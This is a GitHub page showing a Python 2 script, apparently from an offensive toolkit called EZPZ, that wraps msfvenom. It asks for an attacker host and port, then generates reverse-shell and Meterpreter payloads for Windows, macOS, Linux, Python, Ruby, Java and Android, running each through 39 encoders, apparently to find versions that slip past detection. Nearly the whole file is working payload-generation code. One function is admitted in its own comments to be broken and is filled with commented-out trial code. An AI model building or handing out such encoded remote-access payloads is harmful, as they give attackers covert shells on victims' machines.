-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathencoder_Tester.py
732 lines (661 loc) · 27.3 KB
/
encoder_Tester.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
#!/usr/bin/env python
# coding=UTF-8
#The first line allows this script to be executable
#Startup Module Imports
import os
import socket
import operator
from termcolor import colored
import sys
import time
import StringIO
import subprocess
sys.stdout.write("\x1b[8;{rows};{cols}t".format(rows=64, cols=200)) # sets window to full screen
text_Starting = colored('[*] Beginning tests against all 39 encoders','yellow',attrs=['bold'])
text_Finished = colored('[*] Encoder tests completed, please check console output','green',attrs=['bold'])
text_Successful = colored('[+] Successful Encoding Detected','green',attrs=['bold'])
encoder_test_results = '/root/EZPZ/payloads/encoder_test_results.txt'
test_encoder_dir = '/root/EZPZ/payloads/tester'
# #def #write_encoder_success_file():
# f = open(encoder_test_results,'w')
# # f.write(sys.__stdout__)
# # sys.__stdout__.write(f)
# f.write(sys.__stdout__)
# f.close()
# return
def check_encoder_success(): # this function is not working. Check my commented out notes below
# main reason this wont work, is that the msfvenom is under 'file msfvenom':
# msfvenom: a /usr/share/metasploit-framework/ruby script, ASCII text executable
# That means it will not output to a readable text file with '>>' command.
# the terminal command for msfvenom is located at /usr/bin/msfvenom
# it is not a normal binary file, its a symbolic link to the ruby script
# furthermore there is poor documentation for check_output python command
# oh this explains alot. And I do not know ruby
# http://stackoverflow.com/questions/6671716/what-is-the-difference-between-rubys-stdout-and-stdout
# So basically
# You cannot use '>>'
# YOu cannot use write to __stdout__
# YOu cannot use stdout.check_output
# Only possible way since none of it is accessible is...
# Just read the successful output when running the encoder tester
test_results = open(encoder_test_results,'r')
buf = StringIO.StringIO(test_results)
while True:
line = buf.readline().strip()
if line == "succeeded":
print colored('[+] '+line,'green',attrs=['bold'])
# study of the /usr/share/metasploit-framework/msfvenom file:
# The output stream is:
# else
# output_stream = $stdout
# output_stream.binmode
# output_stream.write payload
# # trailing newline for pretty output
# $stderr.puts unless payload =~ /\n$/
# end
#
# I want to get this working and be able to read stdout and then use check_output to show neatly to the user which encoders worked
# However, StackOverflow sucks, and the Python Documentation sucks more
#
# The problem is that msfvenom uses some unusual method to output terminal output.
# Also you cannot run the ">>" command to a text file, it outputs gibberish.
# def ##check_encoder_success():
# try:
# console_output = (subprocess.check_output(cmd_String,shell=True)).strip()
# except:
#
# with open(console_output,'r') as f:
# output_check = f.read()
#
# return
# or a new method.
# Why not just stdout the results to a freaking text file?
### All of the commented lines below are the trash answers I found on StackOverflow, there appears to be no credible documentation on subprocess.check_output
### Its better to read the source code from a different program and see if they came up with an answer
### Here is a good example /usr/share/veil-evasion/modules/common/patch.py
### Line #12, the headerPatch() function
### Looks for a file called 'metsrv.x86.dll'
### Using the Try, Except, Commands
### If successful, then it appears to be performing some sort of DLL reflective injection of shellcode
### If not, then it alerts the user to update their metasploit installation
#
# The command is:
# variable = (subprocess.check_output("find command" + directory + " -iname " + file, shell=True)).strip() # not sure why he did the last strip part unless the slashes causes errors
# if it finds a line of the Metersploit shellcode///
# it then adds additional lines of shellcode
### All of the commented lines below are the trash answers I found on StackOverflow, there appears to be no credible documentation on subprocess.check_output
### Its better to read the source code from a different program and see if they came up with an answer
# def ##check_encoder_success():
# subprocess.check_output([cmd_String, 'succeeded', check=True])
# print text_Successful
#
# return
#
# # read terminal output, if it "succeeded with size"
# print a alert that encoding succeeded
# sample python interpreter output from StackOverflow
# >>> import subprocess
# >>> cmd = [ 'echo', 'arg1', 'arg2' ]
# >>> output = subprocess.Popen( cmd, stdout=subprocess.PIPE ).communicate()[0]
# >>> print output
# arg1 arg2
# def ##check_encoder_success(): # Okay StackOverflow cant answer shit for a question
# # process = subprocess.Popen(['bash'])
# # subprocess.check_output("succeeded with size",subprocess.STDOUT,shell=True) #subprocess.CalledProcessError: Command 'succeeded with size' returned non-zero exit status 127
#
# # cmd = ['succeeded with size']
# # output = subprocess.Popen(cmd,stdout=subprocess.PIPE).communicate()[0]
# mainProcess = subprocess.Popen(['python'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# communicateRes = mainProcess.communicate()
# stdOutValue, stdErrValue = communicateRes
#
# # you can split by any value, here is by space
# my_output_list = stdOutValue.split(" ")
#
# # after the split we have a list of string in my_output_list
# for word in my_output_list :
# if word == "succeeded":
# text = colored('[+] Successful encoding detected','green',attrs=['bold'])
# print text
# else:
# pass
# subprocess.check_output("succeeded",stdout=subprocess.PIPE,stderr=subprocess.PIPE)
# return
encoder_Dict = {
'1': 'cmd/echo',
'2': 'cmd/generic_sh',
'3': 'cmd/ifs',
'4': 'cmd/perl',
'5': 'cmd/powershell_base64',
'6': 'cmd/printf_php_mq',
'7': 'generic/eicar',
'8': 'generic/none',
'9': 'mipsbe/byte_xori',
'10': 'mipsbe/longxor',
'11': 'mipsle/byte_xori',
'12': 'mipsle/longxor',
'13': 'php/base64',
'14': 'ppc/longxor',
'15': 'ppc/longxor_tag',
'16': 'sparc/longxor_tag',
'17': 'x64/xor',
'18': 'x64/zutto_dekiru',
'19': 'x86/add_sub',
'20': 'x86/alpha_mixed',
'21': 'x86/alpha_upper',
'23': 'x86/avoid_underscore_tolower',
'22': 'x86/avoid_utf8_tolower',
'24': 'x86/bloxor',
'25': 'x86/bmp_polyglot',
'26': 'x86/call4_dword_xor',
'28': 'x86/context_cpuid',
'27': 'x86/context_stat',
'29': 'x86/context_time',
'30': 'x86/countdown',
'31': 'x86/fnstenv_mov',
'32': 'x86/jmp_call_additive',
'33': 'x86/nonalpha',
'34': 'x86/nonupper',
'35': 'x86/opt_sub',
'36': 'x86/shikata_ga_nai',
'37': 'x86/single_static_bit',
'38': 'x86/unicode_mixed',
'39': 'x86/unicode_upper'
}
def Windows_INLINE():
opt_Dict = {
'1': 'windows/meterpreter_reverse_tcp',
'2': 'windows/meterpreter_reverse_http',
'3': 'windows/meterpreter_reverse_https'
}
opt_List = (
'\n\t#1. Windows Meterpreter, Reverse TCP Shell',
'#2. Windows Meterpreter, Reverse HTTP Shell',
'#3. Windows Meterpreter, Reverse HTTPS Shell'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.exe
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
print text_Finished
else:
print colored('You have entered a invalid option','red','on_white')
Windows_INLINE()
main()
def Windows_STAGED():
opt_Dict = {
'1': 'windows/meterpreter/reverse_tcp',
'2': 'windows/meterpreter/reverse_http',
'3': 'windows/meterpreter/reverse_https'
}
opt_List = (
'\n\t#1. Windows Meterpreter, Reverse TCP Shell',
'#2. Windows Meterpreter, Reverse HTTP Shell',
'#3. Windows Meterpreter, Reverse HTTPS Shell'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.exe
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
##check_encoder_success()
text_Finished = colored('[*]Encoder tests completed, please check console output','green',attrs=['bold'])
print text_Finished
else:
print colored('You have entered a invalid option','red','on_white')
Windows_STAGED()
main()
def Platform_Windows():
opt_List = [
'#0. Return to Main Menu',
'#1. INLINE/STAGELESS Payloads',
'#2. STAGED Payloads'
]
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a OPTION:"))
if opt_Choice == "0":
main()
elif opt_Choice == "1":
Windows_INLINE()
elif opt_Choice == "2":
Windows_STAGED()
else:
print colored('You have entered a invalid option','red','on_white')
Platform_Windows()
return
def OSX_PPC():
opt_Dict = {
'1': 'osx/ppc/shell/reverse_tcp',
'2': 'osx/ppc/shell_reverse_tcp',
}
opt_List = (
'\n\t#1. PowerPC Command Shell STAGED',
'#2. PowerPC Command Shell INLINE'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
text_Starting = colored('[*] Beginning tests against all 39 encoders','yellow',attrs=['bold'])
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.macho
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
text_Finished = colored('[*]Encoder tests completed, please check console output','green',attrs=['bold'])
print text_Finished
else:
print colored('You have entered a invalid option','red','on_white')
OSX_PPC()
def OSX_x86():
opt_Dict = {
'1': 'osx/x86/shell_reverse_tcp',
'2': 'osx/x86/vforkshell_reverse_tcp',
'3': 'osx/x86/vforkshell/reverse_tcp'
}
opt_List = (
'\n\t#1. x86/x64 Command Shell Reverse TCP, INLINE',
'#2. x86/x64 V-Fork Command Shell, Reverse TCP, INLINE',
'#3. x86/x64 V-Fork Command Shell, Reverse TCP, STAGED'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
text_Starting = colored('[*] Beginning tests against all 39 encoders','yellow',attrs=['bold'])
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.macho
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
#os.system(cmd_String + ' >> ' + encoder_test_results)
text_Finished = colored('[*]Encoder tests completed, please check console output','green',attrs=['bold'])
print text_Finished
else:
print colored('You have entered a invalid option','red','on_white')
OSX_x86()
def Platform_OSX():
print colored('Mac OSX Shells are COMMAND-SHELL ONLY (No Meterpreter RATs), but you also have to pick what processor architecture you are targeting','red','on_white')
opt_List = [
'\n\t#0. Return to Main Menu',
'#1. Mac OSX PowerPC',
'#2. Mac OSX x86'
]
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Select a OPTION: "))
if opt_Choice == "0":
main()
elif opt_Choice == "1":
OSX_PPC()
elif opt_Choice == "2":
OSX_x86()
else:
print colored('You have entered a invalid option','red','on_white')
main()
def Linux_STAGED():
#2. Linux Reverse Shells
#1. Linux Meterpreter Reverse TCP, Staged
opt_Dict = {
'1': 'linux/x86/meterpreter/reverse_tcp'
}
opt_Choice = str(raw_input("Press 1 to create a reverse meterpreter TCP payload: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.elf
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
#os.system(cmd_String + ' >> ' + encoder_test_results)
print text_Finished
def Platform_Linux():
print colored('Only staged payloads are available for Linux, press 1 to continue','red','on_white')
opt_Choice = str(raw_input("Press 1 to CONTINUE: "))
if opt_Choice == "1":
Linux_STAGED()
else:
print colored('You have entered a invalid option','red','on_white')
main()
return
def Python_INLINE():
opt_Dict = {
'1': 'python/meterpreter_reverse_tcp',
'2': 'python/meterpreter_reverse_http',
'3': 'python/meterpreter_reverse_https'
}
opt_List = (
'\n\t#1. Python Meterpreter Reverse TCP',
'#2. Python Meterpreter Reverse HTTP',
'#3. Python Meterpreter Reverse HTTPS'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.py
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
#os.system(cmd_String + ' >> ' + encoder_test_results)
print text_Finished
def Python_STAGED():
opt_Dict = {
'1': 'python/meterpreter/reverse_tcp',
'2': 'python/meterpreter/reverse_http',
'3': 'python/meterpreter/reverse_https'
}
opt_List = (
'\n\t#1. Python Meterpreter Reverse TCP',
'#2. Python Meterpreter Reverse HTTP',
'#3. Python Meterpreter Reverse HTTPS'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.py
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
#os.system(cmd_String + ' >> ' + encoder_test_results)
print text_Finished
def Platform_Python():
opt_List = [
'\n\t#1. Python INLINE Reverse Meterpreter Shells',
'#2. Python STAGED Reverse Meterpreter Shells'
]
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a OPTION: "))
if opt_Choice == "1":
Python_INLINE()
elif opt_Choice == "2":
Python_STAGED()
elif opt_Choice == "0":
main()
else:
print colored('You have entered a invalid option','red','on_white')
Platform_Python()
return
def Ruby_INLINE():
opt_Dict = {
'1': 'ruby/shell_reverse_tcp',
'2': 'ruby/shell_reverse_tcp_ssl'
}
opt_List = (
'\n\t#1. Ruby Reverse COMMAND Shell, TCP',
'#2. Ruby Reverse COMMAND Shell, TCP + SSL'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.rb
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
#os.system(cmd_String + ' >> ' + encoder_test_results)
print text_Finished
def Platform_Ruby():
#5. Ruby Reverse Shells
##INLINE ONLY
#1. Reverse TCP Command Shells
#2. Reverse TCP SSL Command Shell
print colored('Ruby Shells are both INLINE-ONLY and are COMMAND SHELLS (No Meterpreter)','red','on_white')
Ruby_INLINE()
return
def Java_STAGED():
opt_Dict = {
'1': 'java/meterpreter/reverse_tcp',
'2': 'java/meterpreter/reverse_http',
'3': 'java/meterpreter/reverse_https'
}
opt_List = (
'\n\t#1. Java Reverse Meterpreter, TCP',
'#2. Java Reverse Meterpreter, HTTP',
'#3. Java Reverse Meterpreter, HTTPS'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.jar
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
#os.system(cmd_String + ' >> ' + encoder_test_results)
print text_Finished
def Platform_Java():
print colored('Java Meterpreter Shells are STAGED ONLY','red','on_white')
Java_STAGED()
return
def Android_INLINE():
opt_Dict = {
'1': 'android/meterpreter_reverse_tcp ',
'2': 'android/meterpreter_reverse_http',
'3': 'android/meterpreter_reverse_https'
}
opt_List = (
'\n\t#1. Android APK Meterpreter Shell, Reverse TCP',
'#2. Android APK Meterpreter Shell, Reverse HTTP',
'#3. Android APK Meterpreter Shell, Reverse HTTPS'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.apk
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
#os.system(cmd_String + ' >> ' + encoder_test_results)
def Android_STAGED():
opt_Dict = {
'1': 'android/meterpreter/reverse_tcp ',
'2': 'android/meterpreter/reverse_http',
'3': 'android/meterpreter/reverse_https'
}
opt_List = (
'\n\t#1. Android APK Meterpreter Shell, Reverse TCP',
'#2. Android APK Meterpreter Shell, Reverse HTTP',
'#3. Android APK Meterpreter Shell, Reverse HTTPS'
)
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice in opt_Dict:
# os.system('cat /root/EZPZ/msfvenom_encoders.txt')
# print colored('Please answer the following questions','red','on_white')
print text_Starting
payload_Set = opt_Dict[opt_Choice]
bad_Bytes = "x00"
for key in encoder_Dict:
encoder_Set = encoder_Dict[key]
encoder_Name = encoder_Set.replace('/','_')
encoder_Iterations = '1'
cmd_String = """msfvenom -p %s LHOST=%s LPORT=%s -e %s -i %s -b "\%s" -o %s/Encoder_%s.apk
""" % (payload_Set,LHOST_Set,LPORT_Set,encoder_Set,encoder_Iterations,bad_Bytes,test_encoder_dir,encoder_Name)
text = colored('[+] '+ cmd_String,'red',attrs=['bold'])
print text
os.system(cmd_String)
#os.system(cmd_String + ' >> ' + encoder_test_results)
def Platform_Android():
opt_List = [
'\n\t#0. Return to Main Menu',
'#1. Android INLINE Meterpreter Reverse Shells',
'#2. Android STAGED Meterpreter Reverse Shells'
]
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a OPTION: "))
LHOST_Set = str(raw_input("Enter LHOST: "))
LPORT_Set = str(raw_input("Enter LPORT: "))
if opt_Choice == "0":
main()
elif opt_Choice == "1":
Android_INLINE()
elif opt_Choice == "2":
Android_STAGED()
else:
print colored('You have entered a invalid option','red','on_white')
Platform_Android()
return
def main():
text = colored('ENCODER TESTING MODE','cyan',attrs=['bold'])
print text
opt_List = [
'\n\t#0. Return to Main Menu',
'#1. Windows Reverse Shells',
'#2. Mac OSX Reverse Shells',
'#3. Linux Reverse Shells',
'#4. Python Reverse Shells',
'#5. Ruby Reverse Shells',
'#6. Java Reverse Shells',
'#7. Android Reverse Shells'
]
print ("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a category of payloads you want to test: "))
if opt_Choice == "0":
os.system('python /root/EZPZ/remoteexploits/EZPZ.py')
elif opt_Choice == "1":
os.system('clear')
Platform_Windows()
elif opt_Choice == "2":
os.system('clear')
Platform_OSX()
elif opt_Choice == "3":
os.system('clear')
Platform_Linux()
elif opt_Choice == "4":
os.system('clear')
Platform_Python()
elif opt_Choice == "5":
os.system('clear')
Platform_Ruby()
return
elif opt_Choice == "6":
os.system('clear')
Platform_Java()
return
elif opt_Choice == "7":
os.system('clear')
Platform_Android()
return
else:
print 'You have entered a invalid option'
main()
return
main()